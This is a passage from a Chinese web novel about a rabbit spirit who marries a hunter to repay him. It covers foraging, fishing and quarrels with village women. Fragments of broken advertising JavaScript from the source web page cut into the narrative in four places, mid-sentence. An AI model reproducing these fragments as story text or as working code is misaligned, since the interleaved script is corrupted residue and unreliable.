“那行,那我就先走了。”袁秀英只当他是从袁武那里知道的,便没有多问,只是刚要离开,就被袁武塞了一手的东西,“这是干啥?” 袁武默然片刻笑道:“这些您带回去,不嫌弃就当是给自家添点油水。” “这哪成,你今天也破费不少,以后少不得要银子的地方,你们省着吃能吃几顿呢!”袁秀英是有些意动。 乡下不比镇上老爷们,一年到头也没口肉吃,今儿坐着这些都没敢敞开吃。 袁武摇头:“堂姑帮忙了,该是您的,至于他,您别操心。” 盛情难却,袁秀英便没再多拒绝,面上带着笑意离开了。 袁武看着站在茅草屋前漂漂亮亮带着贵气的小哥儿,哪里能真让他吃别人吃剩的? “饿不饿?”他沉声问。 “是有点哦,不过我前几日都吃得很饱,就是你扔出去的那些菜,很好吃,今天饿一饿也没有关系。”涂茸很懂事的说着,毕竟方才的剩饭菜都送给堂姑了。 袁武震惊:“那都是烂菜叶,你煮着吃了?” 涂茸摇头:“什么是煮?就那么吃的,脆脆的,甜甜的。” 袁武愈发肯定他就是个傻子,但此时对方吃烂菜叶带给他的冲击不小,反而叫他没心思想这些。 他带着涂茸进灶房,将粗糙的木柜打开,指着里面的米面说道:“这些都能做吃的,以后饿了就直接吃。” “直接吃?”涂茸看着白白胖胖的米粒,眼底的惊喜都要溢出来了,“居然能直接吃呀,怪不得你们都这么喜欢粮食!” 他说着竟是要直接伸手去抓,袁武赶紧攥住他手腕,又慌忙撒开:“是让你煮着吃——怪我,怎么把你是个傻子这事给忘了!” 他指指旁边:“去堂屋等着。”说罢便开始淘米煮饭。 涂茸便去外面等着了,他四下打量着这茅草屋,和他的兔子洞比起来真的大太多太多了,他要是变成兔子在这里蹦哒,肯定会迷路的。 他像只花蝴蝶似的碰碰木头桌椅,又拍拍硬实的床铺,恨不得在各个地方都落脚,留下自己的痕迹。 视线突然落在角落放着的衣裳上,应该是恩人的换洗衣裳,等他吃饱饭,就帮恩人洗衣裳,洗干干净净! “涂茸,吃饭。” “来了来了!” 茅草屋不大,刚做完饭的灶火堂冒着呛人的烟,袁武就将饭菜都端到堂屋的桌子上,给涂茸盛了满满一碗粥,恨不得连汤儿都没有。 桌面上只放着两盘菜,一盘油炒青菜,一盘扁豆炒肉,以及几张厚实的饼子。 涂茸瞪大双眸,口水都快从嘴角流出来了, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他愣愣询问:“你们都吃这么好呀?” 他们兔子秋冬两季都只能吃干叶子的,他们人居然能吃这么好,这报恩果然没有报错啊! 袁武还怕这些饭菜简陋,这小哥儿会不喜欢,他轻咳一声:“吃吧。” “多谢恩人!”涂茸立刻端起碗开始刨饭,将脸颊塞得鼓鼓的,眼睛在那盘青菜上移不开。 袁武立刻给他夹到碗里,把肉片也从扁豆中拨出来,堆放到旁边,等着他吃。 只是涂茸却不曾动那些肉,只盯着青菜吃。 “吃肉。”袁武说。 “肉?我不能吃肉的……”涂茸赶紧摇头,他们兔兔吃肉会腹痛,只能吃青菜。 袁武却只当他是不敢吃,便干脆将肉往他碗里夹,涂茸被肉香勾的直流口水,筷子也试探性地开开合合,他咽咽口水:“那我尝尝?” 然后就快速将肉夹起放进嘴里咀嚼,他说不上是什么滋味,只是觉得白白的肉,软软的却不腻,红红的肉有点难嚼却也很好吃! “和青菜一样好吃!”他双眼瞬间亮起来,开始放豪言壮志,“我能吃三大碗!” …… “不吃了?”袁武看着他剩下的碗底,对他说的三大碗只当是笑话,得到肯定回答后,他才开始动筷子。 涂茸便支着下巴看他,他也说不出恩人到底是何模样,只是觉得有鼻子有眼的,看起来应该是很俊朗的。 且和他以往在族群见过的兔子都不一样,雄壮威武,不相熟的便会觉得他很可怕,但在涂茸眼里,他是最善良的人类了。 袁武无视他的视线,将饭菜都吃完,收起碗筷便放进了灶火房里,转身叮嘱道:“我要去山里看看,你无事就不要乱跑了。” “那我洗碗吧!”涂茸自告奋勇,伸手就将一只盘子拿起来,还不等他放进水里,盘子就顺着他的手掉到了地上。 在泥土地上发出清脆声响,四分五裂,全尸都没有,很是惨烈。 “它滑溜溜的,跑掉了……”涂茸有些惊讶地看着自己的手。 “……你去外面歇会儿吧。”袁武蹲下将碎片捡起来收好,他这里东西少,回头拿土粘粘还能继续用。 涂茸微微皱眉:“堂姑说要我照顾你的!” 袁武见他神情不似作假,委婉道:“我这就两只盘子两只碗,不够。” “够!你还有我!两个刚好!”涂茸分外认真地说着,指指对方,又点点自己。 “不够你摔,现在明白了吗?明白了就闭嘴出去。”袁武浓眉一皱,便显得有些凶悍,语气自然也算不得好。 若是换做旁人,怕是还要情真意切地委屈一会,但面对他凶嚷的是涂茸,只知道恩人怎么说便怎么做,当即便听话出去了。 这几日天热了起来,涂茸便蹲在篱笆底下开始捅蚂蚁窝,时不时打量着小小的院子,总想着该帮袁武做些什么。 他能做的事其实特别多,比如把猎物都赶进陷阱,或者帮恩人洗衣做饭,或者——去种地! 其他村民都有田地,恩人也得有! “我要进山,你可要跟着去?” 涂茸欣喜抬头,方才还言辞厉声地恩人现在温和的邀请他呢! 5. 武哥 玉灵山是涂茸的家,先前总是在山里乱跑乱窜,除去赶野鸡那回,如今却是头回以人形进山,还是和他最喜欢的恩人一起。 “武哥,今天猎物会多吗?” 因为不被允许继续叫恩人,他便只能学着玉灵村的人叫,不过他很喜欢,这里的亲人们都是这样叫的。 袁武沉声回应:“不知。” 涂茸不知想到什么,突然得意起来,他哼哼道:“那自然是不如前几日那次多哦,好多好多笨野鸡和笨野鸭!” “你怎么知道?”袁武扭头看他一眼,见他一个踉跄,当即皱眉,“当心脚下,摔个狗啃泥。” “我不是狗哦。”涂茸嘻笑,借着踉跄快步走到袁武身侧,小心牵住他衣袖,拉了几次都没拉住,他只能将手指抠进对方的绑腰绳上。 袁武僵了僵,到底没把他的手甩走,左右山里无人,也不会被看见。 两人并肩朝陷阱方向走去,涂茸蹦蹦跶跶地把他带到第一个陷阱前,他松开手蹲在地上轻轻敲击着残余的干草,好似听到了里面扑扑簌簌地声音。 他仔细感受一番,眼睛一亮:“有好多!” 袁武被他的笑容感染,也轻笑一声:“要是有兔子,给你留只炖着吃。” “好呀——不行不行!小兔子那么可爱,善良又漂亮,怎么能吃它们!”涂茸连声拒绝,“还是吃笨笨的野鸡好了。” “随你。”袁武说着将陷阱上搭着的干草都扯开,果真露出下面三五只野兔野鸡。 如今天渐渐冷,这些笨东西都紧着要存东西过冬,恰逢前几日秋收,它们也想多存些粮食,自然要往外跑。 这里是下玉灵村的必经小路之一,自然也是放陷阱的好地方,网住这些并不奇怪。 “它们都活着呢。”涂茸说。 “要活的,活的卖得贵。”袁武低声说,“银子可是好东西。” 涂茸懵懵察觉到他和涂苒之前好似做错了,他们上次为了猎物多,都没有管它们的死活,都是通通赶紧去就完了。 不过恩人都没有对他生气,果然是好温柔的人! 以后他都要陪恩人进山,赶好多笨笨的野鸡,让恩人赚很多很多好东西! 袁武将绳子绑到旁边的大树上,另一端缠在腰上,然后顺着坑沿滑下去,把昏沉的猎物们都绑到一起,然后拽着绳子爬上去。 “好厉害!”涂茸看直眼,他往常掉坑洞里都只能靠路过的涂苒救他呢。 “这只兔子和野鸡最肥,留给你添菜。”袁武被他这话哄得略有些得意,“秋季鱼也肥,明日我把这些卖完就去捕,你可有想要的东西?” 他倒是没想太多,如今人跟了自己,名声自然的不如之前那样的。 何况这小哥儿看起来呆呆傻傻的,不知有没有见过好东西,跟了自己,就断没有吃苦的道理。 涂茸眨眼看向他:“我不能一起去吗?” 袁武冷眼看着他,涂茸立刻识时务道:“那就要些种子吧,如果能买块地回来就更好了,我准备给你种田,秋收就能有很多粮食,” 袁武冷笑:“你真是敢想,你看我像不像田?” “像。”涂茸说,不等袁武问,他便继续说道,“高大结实,充满安全感,不就是田地粮食带给人类的感觉吗?我也这样觉得!” 涂茸见他不吭声,也不气恼,使出浑身的劲儿,用两根纤细的手臂把猎物往自己肩膀上放,那颤颤巍巍地样子实在让人心惊。 袁武赶紧一只手接过,随意往肩背一放,扛起猎物却停在原地没动,涂茸眨眨眼,片刻后将手指重新戳进他腰间的腰绳上。 除了挖的坑洞陷阱,还有好些其他的捕猎工具放在山里没有收回来,如果有猎物就最好不过,而且再往前走,还有棵果树。 袁武带着他继续朝前,眼看着越来越往山腹去,涂茸微微皱眉:“我听村里人说,里面很危险。” “想吃野果子吗?”袁武问。 “野果子啊……这个野果子我之前是吃过……不过有些酸酸的,我爱吃甜甜的,如果有甜甜的还是想吃的,但如果是酸酸的就不是很想吃了。”涂茸自认为很委婉地说着,说到甜时,表情就很舒畅,说到酸,就龇牙咧嘴的。 “难为你了。”袁武看他一眼,话密的很,却都是些废话。 涂茸颇为认同地点点头,酸酸的野果一点都不好吃。 袁武便不再多说,带着他继续朝前走,他自幼吃的多,只是陈兰香对他不喜,自然也不会让他吃饱,他多数时间都是吃个囫囵便干活了,闲下来时就进山找吃的。 玉灵山是老山,里面的猎物多,野果野菜也多,他在这山里抓捕些小猎物,也能果脯,甚至还有野果子调味,也算精彩。 因此,他自然知晓哪里有甜果树,只是不知道这些年过去,那树还有没有活着。 一路都能听到叽喳鸟叫声,涂茸虽然在玉灵山长大,但因为山里动物太多,许多地方他也不曾去过,眼下跟着袁武走动,只觉得新鲜。 果树生长数十年,主根粗壮,连枝干都颇有力量,周边还串起好些小树,若是也能长成,往年就不缺果子吃了。 深山无人,但有野兽。袁武怕猎物的腥气会引来其他动物,便用干草树枝将猎物盖住,他自己则是背着背篓利索爬上果树。 “武哥小心些。”涂茸仰头看他,总觉得即便是这样粗壮的大树,都盖不住他的身影。 “嗯。”袁武低应一声。 他身高腿长,揪下已经成熟的果子揪往背篓里放,还有好些被鸟啄了几口的,损坏不严重,他也都摘了,这样的果子是最甜的。 “武哥,很多吗?香不香呀?我看不到哦!”涂茸垫着脚尖抬着下巴,使劲往上看,恨不得直接蹦到树梢上去。 袁武本就准备下来,听他说话,便往下看,许是他站得高,被打进林间的日光晃了眼,看向底下人时竟有一瞬恍惚,觉得就这么过好像也挺好的。 但看到那张脸,情绪瞬间消散,他就是个乡野村夫,不该做这种梦。 袁武:“我摘了很多。” 涂茸闻言眼睛都亮了,他紧紧盯着对方:“那你慢慢快点下来……” 背篓里放着半筐果子,是涂茸之前没有吃过的,皮看起来又薄又光滑,是浅浅的黄色,看着就很好吃。 山里禽类多,也有许多以野果为食的,袁武特意在树上留着些,能够它们储存食物了。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“香香的,是甜的吗?”涂茸拿起一颗甜果放到鼻夹轻嗅着,嗅完一颗不算,还要拿起其他的也闻一闻。 “你尝尝。”袁武挑眉示意他。 涂茸立刻捧着甜果重重咬了一口,果子的清甜香气瞬间扑进口齿,随之而来的是偏甜微酸的口感,果肉紧实,带着丝丝缕缕地沙感,叫他恨不得一口全都吞下去。 可惜嘴巴有限,只能一口一口的咬。 他很快就将上面的果肉啃食干净,连带着果核都要嘎嘣咬碎吞下去时,一只大手直接兔口夺食,眨眼间就把那果核丢出去十几米远。 袁武满脸震惊:“你怎么连果核都吃?” 涂茸微微拧眉:“我从前都吃的,不能吃吗?是硬了些,不如菜叶好吃,菜叶很脆甜,和甜果一样好吃,不对不对,不如甜果好吃!” “你从前到底过的什么日子……”饶是袁武见过太多吃糠咽菜的,都没见过连果核和烂菜叶都吃的。 只是单看涂茸的样貌当真半点看不出来,果然人不可貌相。 涂茸眨巴着眼睛看他,顺便又摸了个甜果啃了起来,他啃啃啃:“过得很好的,有爷爷伯伯婶婶……” 袁武莫名生出一丝心疼来,这傻子从前有那么多亲戚,却也没有过过一天好日子,和他还真是差不多。 他见涂茸吃的开心,便没再多说,只是视线掠过周围时,还瞧见了一颗甜柿树。 “在这里等着,别乱走动。”他将背篓放下,叮嘱一声便朝那边走去了。 涂茸四下看了看,便直接坐在地上啃啃啃,吃完一枚果子就将果核扔远,恩人说了果核不能吃呢。 “你果然在这里!” 身边骤然响起熟悉的声音,涂茸啃果子的动作都停了,他立刻扭头看去,就见一只兔子正蹲在旁边看着他,那眼睛里还带着怒意。 “涂苒、苒啊!”涂茸莫名有些心虚,他摸摸鼻子,瞄了一眼还在摘果子的袁武,立刻上前将涂苒抱到怀里,做贼般低声询问,“你怎么知道我在这里哦?” “别管这些,你先说说,你为什么和人类在一起,你脑子是真的坏掉了吗?我就说你不要动脑子思考,野鸡都知道见了人类就跑,你怎么就学不会!”涂苒边骂边用爪子捶着他膝盖,带着浓浓的恨铁不成钢,恨不得一爪子把涂茸膝盖给杵烂。 涂茸轻轻捏捏他耳朵:“以身相许的桥段我都知道的,而且人类生命有限,我只是陪他度过短短几十载,对我没有影响,我想报答他,哪怕是用这种方式。” 他知道自己的想法有些偏激,但在玉灵山他见过很多人类,还是第一次如此这般想和一个人相处,哪怕不报恩,他都想和他做朋友。 涂苒给了他一爪子,慵懒地倚靠在他怀里:“怪不得族爷爷那日特意去找你,怕是猜到你会有这些心思,但你要记得,陪他度过这些岁月,你可是要回家的。” “我——” “我摘了些甜柿,吃不吃?” 涂茸还未来得及应答,身后便响起袁武的声音,涂苒立刻闪身跑没影了。 袁武将甜柿小心放进背篓里,稍一用力将涂茸拉起来,那根手指便再次抠进他腰绳里。 两人并肩朝下山的路走去。 6. 喜欢 这次没有人使坏,猎物都是完整的,也且因为放置陷阱时很仔细,猎物都没有性命危险,这些猎物藏不住,走进村里就被坐在街边的人村民们看见了。 视线从涂茸脸上划过,很快落到了袁武带的那些猎物身上,各自眼底都闪过一丝羡慕和贪婪。 一群人就坐着看着他们,涂茸莫名有些不自在,下意识贴近袁武,用他高大的身躯挡住自己。 袁武背着很多东西,却丝毫不影响他的脊背,他淡淡瞥了一眼那些村民,没有多理会,一手牵起涂茸迈步离开了。 看到熟悉的篱笆院和茅草屋,涂茸才松了口气,他拍拍胸口:“那些叔叔婶婶都很奇怪,感觉他们要抢我们的东西嗷?” “他们不敢。”袁武淡定说道。 他将猎物放进旁边的小棚子里,涂茸便跟着要给他搭把手,仔细想了想他搬不动,就将手收回来了,眼看着袁武要洗手,他便立刻去打水,找了半晌都没看见洗手的木盆…… 袁武捏了捏鼻梁,将旁边放着的木盆拿起自己打了水洗手,涂茸便立刻跑到他身边嘿哟嘿哟:“累死我了。” 袁武:“……”你做什么了?就累? “咕噜咕噜~” “肚子在说话了。”涂茸垂眸摸摸肚子,片刻后眨巴着眼睛看向袁武,其中的意思不言而喻。 “别吃甜果和甜柿了,我去做饭。”袁武说着将手上的水随意甩开,起身快步走进灶火堂里。 涂茸擦了擦被甩了一脸水珠的脸,后知后觉意识到恩人是他逗他玩,就像他之前会故意拿水洒其他兔子一样! 恩人果然很喜欢他! 晨起进山,中午出山,这一日分明都没做什么,时间便眨眼过去了。 夜晚。 袁武躺在地上的干草上再次询问:“你可有想吃的东西?” “想吃甜果和甜柿……”涂茸啃啃啃嚼嚼嚼,黑夜被声音点缀地格外明亮和清晰。 “你在被窝里吃东西?”袁武腾地坐起来,借着月光就瞧见了面对他啃甜果的涂茸,那双眼睛即便在夜间都很明亮,叫人移不开眼。 涂茸略有些心虚的舔舔手指,小心竖起食指:“只吃了一枚哦。” 袁武重新躺下,面无表情地看着屋顶的茅草,看着瘦弱无骨,吃得也少,但吃得次数多,也就不显得少了。 他缓缓闭上眼,罢了,能吃是福气。 “武哥,你生气了吗?” “没有。” “那就好。” “睡吧,明儿要早起。” 涂茸点点头,趴在床上看他,他的影子被月光打的老大,看着像是座小山似的。 他偷偷笑着,恩人这样高大健硕,定然不会被欺负的,不像他们,小小的,变成人也小小的。 他盯着袁武的身形看了又看,最后不知不觉间睡了过去,睡前还在想着,要早些起,帮恩人打水洗脸。 第二日,天还未亮袁武便收拾妥当了。 他将滑落的被子给涂茸盖好,轻手轻脚去屋外将猎物都抗上身,便徒步朝镇上走去了。 袁武走了两个时辰,饶是他体力强健都有些气喘,若是涂茸跟着来,怕是半路都要累瘫了。 他背着好些猎物进了早市,街道两边的商贩们已经开始叫卖了,这些固定的摊位是要给铜板的,他并没有付钱,自然不能占。 幸好他之前常去的地方还没有人,他将猎物都摆放好便开始叫卖了。 镇上有些管家或是小二都知道他会卖猎物,有时候还会特意在这里等着他。 “袁老弟,你可算来了!我家夫人就想要野兔皮给少爷缝手套呢!只是你这兔子好似都不大。”一管事上前急说着,他差点以为要等不到了。 袁武点头:“只有这些,多买两只回去,这时节兔子再小皮下油水都多,肥着呢,拿回去补身体都是好的,何况这时候的野味总是贵上一些。” 大的他都留起来准备给涂茸补身体,那小身板一把风就能吹走,可不行。 管家是见识过袁武这张嘴的,也是见事极其明白,一句便说到了他心坎里。 叫价贵些,他回去上报后也能多留些,这都是他赚钱的本事呢。 管家轻笑一声:“袁老弟这样说,那兔肉自然是有油水的,那这些便都要了,野鸡子也来两只,我们老夫人爱吃这口,这时候可不好逮。” 袁武便立刻将这些全都绑好给对方,他要价只比寻常贵上些许,至于这管家回去如何和主家说,那就不关他的事了。 如今渐冷,加之兔子皮毛还能做领子手套,价格是要比猪肉都贵上许多的,何况对大户人家来说,猪肉常有,野兔却不常有,再贵都有愿意买的。 很快他跟前就只剩两只半死不活地野鸡和一只竹鼠,他又吆喝了几声,没再吸引到人,便干脆将摊子收起来了。 他拎着猎物在巷子里左拐右拐,很快就拐到了一家破落院户前,他没有贸然上门,扬声叫喊了几声。 “田大嫂?雨哥儿?阿鑫?” 很快里面就出来一家三口,妇人虽有些憔悴,但看起来很是坚毅,她撸着袖子看向袁武:“你咋来了?” 袁武抬抬手:“剩了些没人要的,给雨哥儿和鑫小子补补,嫂子利索收了,我赶着回家。” “你……这都是好东西,以后不要再送了,你自己留着卖或吃都好,银子留着娶媳妇儿。”田大嫂有些为难,自从丈夫死后,袁武总来看望他们这些,时日一长保不齐要被说三道四了。 “我有夫郎了。”袁武说,“昨儿的事,改日有机会叫嫂子见见,我还要去大斌哥那,嫂子收吧。” 终究是拗不过,再加上孩子也确实需要补身体,她便接过了,却道:“雨哥儿去屋里拿两坛酱菜来。” 她看向袁武:“我这里没什么好东西,那些小菜爽口,就饼子很香。” “多谢嫂子。” 离开这里,他又拐进其他巷子里,很快走到王斌家,用同样的说辞把一只野鸡和田鼠留下。 忙活完这些,他这才朝主街上走去。 涂茸爱吃甜食,给他买些糕点和糖块回去,说不定能高兴到跳起来。 做完这些,他便急匆匆朝镇外走。 另一边。 茅草屋里一片安静,涂茸睡得脸颊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 通红,伴随着胸口起伏,呼吸格外匀长,足以见得睡的有多香甜。 “咕噜~咕噜~” 被子下突然传出声响,紧接着鼓起的被团儿也微微动了动,又在转瞬间归于平静。 紧接着又是几声咕噜,被团儿猛地被掀开,下面的人也如鲤鱼打挺一般坐起来。 涂茸又气又困地捶了捶被子,却是没再躺下去,他揉了揉眼睛下地,屋外阳光明媚,他微微抬手遮了遮眼睛。 “天气真好,武哥要去镇上,我给他做——啊!”涂茸后知后觉大喊一声,“这都快中午啦!” 他都不知道恩人是什么时候离开的,一觉都睡到现在了,怎么办怎么办……好饿啊! 他拍拍脸颊,走到篱笆院前蹲下,继续捣腾之前捅过的几个蚂蚁窝,希望恩人赶紧回来,他真的很饿很饿。 “涂茸!” “武哥!”涂茸立刻蹦起来打开篱笆院欢天喜地的朝他跑过去,他手指很利索地戳到对方腰间,“你回来了,我好饿好饿,你饿不饿?” 因着刚起床,发丝有些凌乱,衣裳也没有好好穿着,幸好这里偏僻,寻常时候没人会经过。 袁武将他掉到脸侧的碎发拢到后面,抬起一只手示意给他看:“给你买了点心和糖块,先垫垫,我去做饭。” 涂茸扁扁嘴接过,眼眶都红了一圈,他当即撕开油纸,捏起一块酥掉渣的糕点递到他唇边:“武哥吃。” “你吃。”袁武不爱这些,微微往后躲了躲。 “那我也不吃。”涂茸皱眉重新将油纸包合上。 袁武张嘴欲解释些什么,话到嘴边又变了:“我吃就是了。” 涂茸立刻重新拿起递到他唇边,甚至碰到他的嘴巴,他笑:“香香甜甜,你快吃。” 顶着他期盼的目光,袁武快速将那块点心叼进嘴里,然后步伐匆匆进了灶火堂,将重新买来的碗碟放好便开始做饭了。 涂茸搬着板凳坐到灶火堂门口守着,时不时还要和袁武说着每块糕点是什么滋味,他不知这些糕点有多贵,嘴里便念叨着下次还要吃。 袁武在军中和伙头军学过一些厨艺,没一会就做好饭菜,他踢踢涂茸的小板凳:“去屋里吃。” 涂茸便立刻坐起来,跟在他身后进了屋,茅草屋不避寒,得紧着吃,一会就凉了。 “你……有眼屎。”袁武放下饭菜看向他,“你没洗脸?” 涂茸摇头,做兔子时舔舔自己就好了,做人……他还很少做人呢。 袁武微微叹息,起身将布巾浸湿,抬着他下巴便给他擦脸,洗手……将这些都弄好,两人才开始吃饭。 “武哥,我明天给你洗脸!”涂茸说,他要听堂姑的,照顾恩人的起居。 “我明日要出门,你若是无事就在家中待着,若是有人来找你,把门掩起来,当没人在家。”袁武叮嘱着。 涂茸微微皱眉,刨饭的速度都变慢了:“我们不是刚刚成婚吗?你怎么每日都要出去,我有些不高兴了。” 袁武思忖片刻说道:“那明日许你多吃两枚甜果。” 涂茸闻言立刻快速刨饭:“那行那行……” 7. 发威 吃过饭,袁武将银子拿出来给涂茸看,他低声道:“这次赚的不多,我最近在攒银子了,你若是有需要,就拿去使。” 涂茸没见过银子,但也知道这些形状大小不一的小石块就是恩人说的好东西。 他赶紧摇头:“我不需要的,我只吃饭就可以了,你使吧!” “我明儿出门要用一些,给你在外面留几枚铜板,村口要是有卖糖人糖葫芦的,你想吃就拿去买。”袁武牵着他把银子一一放好,挨个给他指着地方。 “好呀。”听到能买东西吃,涂茸立刻点头答应。 他对银钱没有任何概念,他只知道,恩人给他银子花,那就是够他花,他只需要好好花银子,其他什么都不用想。 他更想不到,自己压根起不来。 见他答应痛快,袁武也不曾觉得他不懂事,左右家中就他们两个,娶了就得好生对他,花银子都是小巧,开心就成。 今日两人都没事,袁武便准备带他去河边摸鱼,水美鱼肥秋,就算抓不到鱼,去玩玩都可以。 自来到这里,涂茸就一直听袁武的,从没有迈出篱笆院往村里走一步,但最近都好好,一直要带他去外面玩! “那我需要带什么吗?”涂茸四下张望着。 袁武看着他身上干净地浅色衣裳,说道:“换身衣裳。” 片刻后,涂茸穿着袁武的粗布麻衣,拎着他非要带的小木桶,将手指戳进对方腰间,被他带着朝河边走去。 刚秋收过,有些人户便清闲下来,也在河边端着盆打捞寻摸,听到动静便知道又有人过来了,便下意识抬头去看。 直对上了这对新婚夫夫。 “三武哥!”一年轻汉子看见他立刻起身招手,“你拿渔网没?鱼很厚,我们要是能网到一些,还能拿去卖!” 年轻汉子是刘全,和袁武一样的年纪,甚至不是老小,不同的是他很受宠,家里出银子没让他去服军役。 袁武点头:“带了两网。” “那成,我去下网,到时候咱们分嘿嘿!”刘全自觉占了便宜,便自告奋勇要干活,刚接过网就看到了他身后站着的小哥儿,他黑脸一红,“这是……嫂子啊?” “是哦。”涂茸立刻点头,神情分外坦荡。 袁武微微往旁边站了站,介绍道:“这是刘全,比我小几个月。” 涂茸点点头:“你是弟弟。” “我是……”刘全傻笑两声,不敢再看他了,先前成婚时他不在,都是听村里说小嫂子有多好看,没想到是真的。 比村长家的姑娘都好看。 刘全拿起网便开始鼓捣了,他先是在这头固定好,再划船去河对面,将另一头也固定好,这才回来。 一来一回间,就见袁武已经带着小嫂子去摸田螺了。 他有点想跟过去和三武哥聊聊军营的事,但见他们夫夫两人说话,便有些不好意思了。 “武小子,回头网到鱼给我家两条呗?”一妇人声音传来,“反正你天天都吃肉,总要我们也吃点。” 袁武嗤笑一声,只是还不等他说话,身边的摸田螺的小哥儿就说话了:“我们是天天吃肉,你们怎么不天天吃?没有肉吃吗?真可怜。” 那妇人不乐意了,声音骤然变得尖锐:“你咋说话呢?我问你家汉子又没问你,没规矩,汉子都没说话呢,轮到你了?” 涂茸丝毫不惧,也跟着抬下巴道:“我有嘴巴,想说就说,你要我家鱼,我不愿意给,你想吃就去和你家里要,为什么要我们的?你很穷吗?” 这年头,笑贫不笑娼。 虽说都是同村,哪家哪户是什么情况也都了解,但这般直白问,总觉得像是在奚落人。 贾梅花气结,偏偏又觉得面上挂不住,当即就要掐着腰开嗓。 袁武淡淡瞥她一眼,笑问:“同贵哥死了,上面不是发了五十两银子,怎么还不够婶子家吃口肉?” 这话略带着浓浓嘲讽,谁不知道贾梅花不喜欢家里老二,死活要他去参军,结果就死外面了。 若是换做正常人家,死了儿子,少说得哭上三天三夜大病一场,她倒好,成日碎嘴子,半点看不出来难过样,谁不把她当笑话看? 贾梅花不说话了,她事她理亏,自然没得说,她一甩袖子,端起木盆就要离开。 涂茸偏头疑问:“你不要鱼啦?” 贾梅花瞬间停下脚步,她侧身看向涂茸,眼底还带着些不敢相信:“你愿意给我?” “不愿意呀,我就是问问。”涂茸说完嬉笑起来,继续弯腰摸田螺了,“武哥,这些田螺好大呀!我捡捡捡!” “哈哈哈哈哈……” 河边突然发出一声爆笑,刘全在旁边笑的直不起腰:“嫂子,你是没看见梅花婶的脸色,那叫一个好看!” 涂茸头也不抬:“我看她脸色做什么,我有武哥。” “咳咳……”刘全震惊地看着他,还真是哥儿中豪杰,这样的话都能随便说出口。 袁武帮他拎着小背篓:“水凉,你上去歇着,我来摸吧。” “我不觉得凉,很好玩。”涂茸不太愿意,将已经发红的指尖往后藏了藏,末了还期期艾艾地撒娇,“武哥,我不要歇着。” “上去。”袁武声音很轻,却带着不容置疑。 涂俊杰立刻将手里一小捧田螺放进背篓,然后拎着衣角上岸了,还不忘将手上的泥洗干净。 刘全也一边摸一边往背篓里扔,又抬头时他微微瞪大眼睛:“三哥你笑啥呢?” 袁武收敛嘴角,哼笑一声:“笑你裤子湿了。” 刘全低头一看,估摸着是走动不当心还真湿了。 涂茸在岸上看着,时不时哈哈有些红的手,兔子怕热不怕冷,但人形时他和其他普通人没有区别,当人着实有趣,这种凉意,他嫌少感受过。 没多久他便觉得有些无趣了,不愿在这里默默坐着。 “武哥!”他扬声喊。 朗朗声音带着些欢快,瞬间吸引河边所有人的注意,看到是袁武那好看的新夫郎,视线便不由自主地往他身上瞟。 袁武闻声看去,视线相碰,涂茸边招手边说道:“我想去旁边走走。” “小心些。”袁武叮嘱着,涂茸傻是傻子些,但面对别人挑刺好像还挺机灵,干脆就由着他去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,何况他就在这里。 得了准确回复,涂茸便起身沿着河边踱步,他还没有以人的视角看过玉灵村,秋日里果真秋收季节,打眼看去,总觉得山上哪哪都是粮食。 他边走边算着和袁武的距离,就算恩人不说,他也不会离开太远的,他是绝对绝对不会离开恩人的。 “老三家的!老三家的!!!” “叫你呢听不见?耳朵聋了你!” 涂茸猛地被拽住胳膊,转头就对上了陈兰香不耐烦的脸色,他皱眉:“我有名字。” 陈兰香撇嘴翻个白眼:“管你叫什么,你一会和老三说,叫他回头送些鱼去家里,你大哥过两日月底回来,得给他补补身体。” “哟兰香你可真敢开口,你们老三不是已经分出去了吗?” “那叫分啊?摆明了就是断亲,只是没摆在明面上罢了,村长是死要面子,当然不答应。” 看热闹的妇人们洗着衣裳笑起来,村里就这些家长里短的闲事,在他们眼里亲人都是打断骨头连着筋的,断亲这种事简直是天方夜谭,连分家都没真放在心上过。 陈兰香也是这样想,在她看来,先前闹分家就只是袁武耍脾气而已,就算有那劳什子证明,她也不觉得是啥有用的东西。 因此,这会要起东西来理直气壮的。 涂茸眨眼看她:“你也想要我家的鱼吗?武哥说了会拿到镇上去卖,你到时候去镇上买吧。” “小蹄子,婆婆跟你说话都不当回事?我说让你给送去,你就得送,听不懂人话你?”陈兰香骤然拔高音亮咒骂着,“你一会就说是你主动要求送的,听到没有?” “你没有铜板,我不卖给你,你听到没有?”涂茸也学着她提高嗓音,“我们拿到镇上去卖还能赚银子,傻子才白给你!不给铜板,想都别想!别想!” 看热闹的妇人见陈兰香被他唬住,当即就又起了挑事的心思,暗戳戳挑拨着:“哟,兰香,你这做婆婆也该拿出点款儿来,否则以后不是要指着鼻子骂你了?” 涂茸视线瞬间移过去,他看向说话的妇人,直白问道:“我看你们累得都直不起腰了,还有心思说闲话呐?” “你个小贱人!说话没大没小的,你敢这样不知礼数,传出去我老袁家的脸不是要被你丢尽了!”陈兰香说着便开始撸袖子,更是步步朝涂茸走去,那架势好似不动手不罢休。 涂茸抿唇,他是来报恩的,不能随便跟人类动手,只是这人也太讨厌了些,真希望她能倒大霉! “诶呦!救命救命!” 涂茸回过神,陈兰香就已经摔倒,趴在岸边,顺着光滑的泥往下滑,任凭她如何想要停止下滑都无济于事。 水灵灵地就掉进去了,伴随着周围石头泥块落水的扑通声。 “呀!三武你娘和你夫郎打起来掉河里了!” “啊哈哈哈……” 袁武一听就赶紧往河边走,他倒不是着急陈兰香,他是怕涂茸吃亏。 只是刚走到那头,就见涂茸蹲在岸上,微微伸出手,在陈兰香要碰上来时又缩回去。 他可怜巴巴道:“不行不行,我好害怕……” 8. 动手 他本就模样好看,再配上这可怜巴巴双眸含泪的模样,任谁都不能说出一句指责的话来。 陈兰香冻得直哆嗦,偏偏这边都滑,她又冷还没力气往上爬,等她上去,非要把这贱皮子的脸撕烂! 小狐狸精! 袁武上前将涂茸拉起来,旁若无人地捏着他的手脚:“有没有受伤?” “没有,武哥婶子掉下去了,但我不会游泳救不到她,她会怪我吗?”涂茸撇撇嘴,摆出一副可怜样给他看。 “不会,叫别人来帮忙就是了。”袁武说着朝另一边喊,“阿全!过来搭把手!” 